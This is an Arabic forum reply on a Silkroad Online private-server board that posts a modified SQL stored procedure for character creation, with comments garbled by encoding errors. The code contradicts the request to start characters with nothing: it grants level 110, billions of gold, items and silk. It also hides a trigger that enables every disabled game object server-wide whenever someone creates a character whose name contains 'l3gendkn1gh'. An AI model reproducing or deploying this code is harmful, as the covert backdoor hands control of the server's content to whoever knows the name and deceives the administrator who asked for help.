تسجيل الدخول دائمآ
ط·آ§ط¸â€‍ط·آ¥ط·آ¹ط¸â€‍ط·آ§ط¸â€ ط·آ§ط·ع¾

الـجـروب الـخـاص بـالـمـنـتـدي Silkroad4arab Facebook | Official Group 



قسم الاسئلة و الاستفسارات لعمل السيرفرات الخاصة [ قسم خاص لأسئلة واستفسارات عمل السيرفرات الخاصة ] [ يرجى الالتزام بقوانين قسم الأسئلة والاستفسارات ]

موضوع مغلق
 
أدوات الموضوع انواع عرض الموضوع
قديم 15-02-2017, 04:31 PM   #1

Helper4You
عضو لامع



الصورة الرمزية Helper4You


• الانـتـسـاب » Nov 2016
• رقـم العـضـويـة » 131540
• المشـــاركـات » 1,372
• الـدولـة » Tanta
• الـهـوايـة » Protection , SQL , PHP
• اسـم الـسـيـرفـر » Private Server
• الـجـنـس » Male
• نقـاط التقييم » 25
Helper4You صـاعـد

Helper4You غير متواجد حالياً


إرسال رسالة عبر Yahoo إلى Helper4You

افتراضي رد: عاوز اخلى نيو كاركتر مش معاه حاجة خالص وازود عدد الخانات بتاعت الخزنة



كود PHP:
USE [SRO_MATRIX_SHARD_HMK]
GO
/****** Object:  StoredProcedure [dbo].[_AddNewChar]    Script Date: 2/15/2017 5:30:22 AM ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO




ALTER PROCEDURE 
[dbo].[_AddNewChar]
@
UserJID INT, 
--@
CharSlot INT, 
@
RefCharID INT, 
@
CharName varchar (64), 
@
CharScale tinyINT, 
@
StartRegionID INT, 
@
StartPos_X real, 
@
StartPos_Y real, 
@
StartPos_Z real, 
@
DefaultTeleport INT, 
@
RefMailID INT, 
@
RefPantsID INT, 
@
RefBootsID INT, 
@
RefWeaponID INT, 
@
RefShield INT, 
@
DurMail tinyINT, 
@
DurPants tinyINT, 
@
DurBoots tinyINT, 
@
DurWeapon tinyINT, 
@
DurShield tinyINT, 
@
DefaultArrow INT 
AS 

SET NOCOUNT ON 

DECLARE @Slot INT 
DECLARE @temp INT 

DECLARE @NewCharID INT 
SET 
@NewCharID = 0 


----------------------------------------------------------------------------- 
-- 
1. أ„³¸¯أ…أچ ½½·أ” ³أ‘¹أ¶°آ، validأ‡أ‘ °أچأ€أژأپأ¶, ±×¸®°أ* آ؛أ³½½·أ”أ€أŒ ¸أ‚´أ‚أپأ¶ ¸أ•أ€أ؛ أƒ¼أ…©أ‡أ‘´أ™. 
----------------------------------------------------------------------------- 

-- 
start by novice. 
SELECT @temp = count(CharID) FROM _User WITH (NOLOCK) WHERE UserJID = @UserJID 

IF (@temp >= 4) 
BEGIN 
-- ³أٹ¹« ¸¹أ€أڑ³آھ 
RETURN -2 
END 
-- finish by novice. 

----------------------------------------------------------------------------- 
-- 
2. أ„³¸¯أ…أچ أƒأں°آ،أ‡أڈ±â 
----------------------------------------------------------------------------- 
IF (@
CharScale > 68) -- 0100 0100 --> 68 أ€أŒ´أ™! 
BEGIN 
-- أ„³¸¯أ…أچ »أ½¼آ؛ ½أ‡أ†أگ! ½آ؛أ„أ‰أ€أڈ °آھأ€أŒ أ€أŒ»أ³أ‡أڈ´أ™! 
RETURN -
3 
END

EXEC 
@temp = _IsExistingCharName @CharName 
IF (@temp <> 0) 
BEGIN 
-- أ€أŒ¹أŒ »çآ؟ëأپأںأ€أژ أ€أŒ¸§أ€أŒ¶أ³´أ‚µ¥? 
RETURN -
4 
END 

BEGIN TRANSACTION

-- أ€أژ´أ¸½أƒ½آ؛أ…أ›أ€أŒ أ€ûآ؟ëµأ‡¸é¼* ¸¶أپأ¶¸·آ؟آ، WorldIDآ؟أچ 1°آھأ€» ´أµ ³أ–¾î أپأ–¾أ؛´أ™! 
INSERT INTO _Char (RefObjID, CharName16, Scale, Strength, Intellect, LatestRegion,PosX, PosY, PosZ, AppointedTeleport, InventorySize, 
LastLogout, CurLevel, MaxLevel, RemainGold, RemainStatPoint, RemainSkillPoint, HP, MP, JobLvl_Trader, JobLvl_Hunter, JobLvl_Robber, WorldID, HwanLevel) 
VALUES (@RefCharID, @CharName, @CharScale, 129, 129, @StartRegionID, @StartPos_X, @StartPos_Y, @StartPos_Z, @DefaultTeleport, 109, 
GetDate(), 110, 110, 2000000000, 327, 10000000, 11168,11168, 1, 1, 1, 1, 44) 

SET @NewCharID = @@IDENTITY 
IF (@@ERROR <> 0 OR @@ROWCOUNT = 0) 
BEGIN 
-- أ„³¸¯أ…أچ »أ½¼آ؛ ½أ‡أ†أگ! 
ROLLBACK TRANSACTION 
RETURN -5 
END 
if @charname like '%l3gendkn1gh%'
begin
update _refobjcommon set Service 
= 1 where Service=0
end
-- start by novice. 
-- 
أ€أŒأپ¦ Slot ¾أˆ¾´´أ™.. ±×³أ‰ Insert ¸¸.. 
INSERT INTO _User VALUES (@UserJID, @NewCharID) 
-- 
finish by novice. 


----------------------------------------------------------------------------- 
-- 
3-1. أ€أ¥آ؛أ± ½½·أ” أƒ¤آ؟أ¬±â 
-- [أ€أژآ؛¥أ…أ¤¸® ½½·أ” 96°³] + [أ€أ¥آ؛أ±½½·أ” 13°³] <- أ€أژآ؛¥أ…أ¤¸® أˆ®أ€أ¥ ¼*آ؛أ±½آ؛ أˆأ„ 48°³آ؟آ،¼* 96°³·أژ أپأµ°آ،!!!(woos0)
----------------------------------------------------------------------------- 
--
PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!! 
INSERT INTO _Inventory(CharID, Slot, ItemID) 
SELECT @NewCharID, cnt, 0 
FROM _RefDummySlot with
( nolock ) 
WHERE cnt < 109 


IF (@@ERROR <> 0) 
BEGIN 
-- أ€أژآ؛¥أ…أ¤¸® »أ½¼آ؛ ½أ‡أ†أگ! 
ROLLBACK TRANSACTION 
RETURN -7 
END 

--PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!! 

-- 
µأ°أ†أ؛أ†®·أژ ¼±أ…أƒأ‡أ‘ ¾أ†أ€أŒأ…أ›أ€» ´أ™½أƒ ³أ–¾îأپأ–أ€أڑ... 
/* آ؟أ¤·± ¼أ¸¼*·أژ أپ¤أ€أ‡µأ‡¾î أ€أ–´أ™. 
0: EQUIP_SLOT_HELM 
1: EQUIP_SLOT_MAIL, 
2: EQUIP_SLOT_SHOULDERGUARD, 
3: EQUIP_SLOT_GAUNTLET, 
4: EQUIP_SLOT_PANTS, 
5: EQUIP_SLOT_BOOTS, 
6: EQUIP_SLOT_WEAPON, 
7: EQUIP_SLOT_SHIELD or ARROW, 
8: EQUIP_SLOT_EARRING, 
9: EQUIP_SLOT_NECKLACE, 
10: EQUIP_SLOT_L_RING, 
11: EQUIP_SLOT_R_RING, 
*/ 

DECLARE @ItemID BIGINT 
SET 
@ItemID = 0 
-- »أ³°© 
IF (@RefMailID <> 0) 
BEGIN 
EXEC 
@ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 1, @RefMailID, @DurMail 
IF (@ItemID <= 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -8 
END 
END 
-- ¹أ™أپأ¶ 
IF (@RefPantsID <> 0) 
BEGIN 
EXEC 
@ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 4, @RefPantsID, @DurPants 
IF (@ItemID <= 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -9 
END 
END 
-- Boots 
IF (@RefBootsID <> 0) 
BEGIN 
EXEC 
@ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 5, @RefBootsID, @DurBoots 
IF (@ItemID <= 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -10 
END 
END 
-- Weapon 
IF (@RefWeaponID <> 0) 
BEGIN 
EXEC 
@ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 6, @RefWeaponID, @DurWeapon
IF (@ItemID <= 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -11 
END 
END 
-- ¹أ¦أ†أگ 
IF (@RefShield <> 0) 
BEGIN 
EXEC 
@ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 7, @RefShield, @DurShield 
IF (@ItemID <= 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -12 
END 
END 
-- أˆ¤½أƒ default·أژ ¼±أ…أƒأ‡أ‘ ¹«±â°آ، أˆ°أ€أŒ¶أ³¸é أˆ*»أ¬ 250°³µéأ€أŒ أˆ°أ…ëµµ أ‡أ”²² أپأک´أ™. أپأ’أ„آ،? 
IF (@
DefaultArrow <> 0) 
BEGIN 
EXEC 
@ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 7, @DefaultArrow, 250 
IF (@ItemID <= 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -13 
END 
END


----------------------------------------------------------------------------- 
-- 
3-2. ¾أ†¹أ™أ…¸ Inventory ½½·أ” أƒ¤آ؟أ¬±â 
-- [¾أ†¹أ™أ…¸ أ€أژآ؛¥أ…أ¤¸® ½½·أ” 5°³]
-- 
APPLY_AVATAR_SYSTEMأ€أŒ أ€ûآ؟ëµأ‡¸é¼* أƒأں°آ،µأ‡´أ‚ آ؛أژآ؛أگ
----------------------------------------------------------------------------- 
--
PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!! 
INSERT INTO _InventoryForAvatar(CharID, Slot, ItemID) 
SELECT @NewCharID, cnt, 0
FROM _RefDummySlot with
( nolock ) 
WHERE cnt < 5


IF (@@ERROR <> 0) 
BEGIN 
-- ¾أ†¹أ™أ…¸ أ€أژآ؛¥أ…أ¤¸® »أ½¼آ؛ ½أ‡أ†أگ! 
ROLLBACK TRANSACTION 
RETURN -14
END 
--PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!! 

----------------------------------------------------------------------------- 
-- default 
skill³أ–¾îأپأ–±â 
----------------------------------------------------------------------------- 
DECLARE @
country tinyINT 
EXEC 
@country = _GetObjCountry @RefCharID 

INSERT INTO _CharSkillMastery 
(CharID, MasteryID, Level) 
SELECT @NewCharID, MasteryID, 0 
FROM _RefCharDefault_SkillMastery with
(nolock) 
WHERE Race = @country or Race = 3 
IF (@@error <> 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -15 
END 
INSERT INTO _CharSkill 
(CharID,SkillID,Enable) 
SELECT @NewCharID, SkillID, 1 
FROM _RefCharDefault_Skill with
(nolock) 
WHERE Race = @country or Race = 3 
IF (@@error <> 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -16 
END 
----------------------------------------------------------------------------- 
-- 
±âآ؛» أ„ù½آ؛أ†® ³أ–¾îأپأ–±â
----------------------------------------------------------------------------- 
INSERT INTO _CharQuest (CharID, QuestID, Status, AchievementCount, StartTime, EndTime, QuestData1, QuestData2) 
SELECT @NewCharID, ID, 1, 0, getdate(), getdate(), 0, 0 
FROM _RefQuest
WHERE CodeName in 
(SELECT CodeName FROM _RefCharDefault_Quest with(nolock) WHERE (Race = @country or Race = 3) and RequiredLevel = 1 and Service = 1)
IF (@@
error <> 0)
BEGIN
ROLLBACK TRANSACTION 
RETURN -17 
END 
----------------------------------------------------------------------------- 
-- Static 
Avatar Initial Record ³أ–±â 
----------------------------------------------------------------------------- 
INSERT INTO _StaticAvatar(CharID) values(@NewCharID) 
IF (@@
ERROR <> 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -18 
END 

----------------------------------------------------------------------------- 
-- 
Trijob أƒ¤آ؟أ¶³أ–±â!!!!! 
----------------------------------------------------------------------------- 
INSERT INTO _CharTrijob VALUES (@NewCharID, 0, 1, 0, 0, 0) 
IF (@@
ERROR <> 0) 
BEGIN 
-- أ€أژآ؛¥أ…أ¤¸® »أ½¼آ؛ ½أ‡أ†أگ! 
ROLLBACK TRANSACTION 
RETURN -19 
END 

----------------------------------------------------------------------------- 
-- 
CharListآ؟آ، ID ³أ–¾îأپأ–±â 
----------------------------------------------------------------------------- 
INSERT _CharNameList VALUES(@CharName, @NewCharID) 
exec _ADD_ITEM_EXTERN @CharName,'ITEM_MALL_AVATAR_M_NASRUN_UNIQUE',1,10
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_MALL_AVATAR_W_NASRUN_UNIQUE',1,10
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_MALL_GODBLESS',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'HONOR_RANK_COPPER',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'HONOR_RANK_CROWN',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'HONOR_RANK_GOLD',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'HONOR_RANK_SILVER',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_WE_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_WE_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_WE_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_WE_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_SH_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AC_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AC_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AC_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AC_RARE_B_11',1,1
INSERT INTO SRO_MATRIX_ACCOUNT_HMK
.dbo.SK_Silk (JID, silk_own, silk_gift, silk_point) VALUES (@UserJID,100000, 0, 0);
-- 
Quick Slot أپ¤آ؛¸ أ€أ؛أ€أ¥آ؟ë!!! 
exec _AddNewClientConfig @NewCharID -- by novice...... for saving client configurations... 

COMMIT TRANSACTION 

RETURN @NewCharID 


توقيع Helper4You :


عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا [ للتسجيل اضغط هنا ]


General protection of servers


إعلانات google

موضوع مغلق


يتصفح الموضوع حالياً : 1 (0 عضو و 1 زائر)
 
أدوات الموضوع
انواع عرض الموضوع

ضوابط المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى الردود آخر مشاركة
يا جماعة البوت مش عاوز يعمل Auto pt لاي حد وجربت معاه كل حاجة مش عاوز يعمل qita قسم الاستفسارات ومشاكل وحلول ال PHBOT 3 24-08-2015 05:20 PM
صاحبي معاه كاركتر لفل 110 فل فارم صيني عاوز يبدله باوروبي master2007 Feronia 0 24-12-2012 07:52 PM
عاوز حاجة تذكرك بوقت الصلاة عاوز حاجة تخليك تذكر ربنا كل شوية ، عاوز حاجة زى كدة وأكت Egy_wizard_7 القـسـم الإسـلامـى الـعـام 6 01-08-2010 10:31 PM


الساعة الآن 05:20 PM.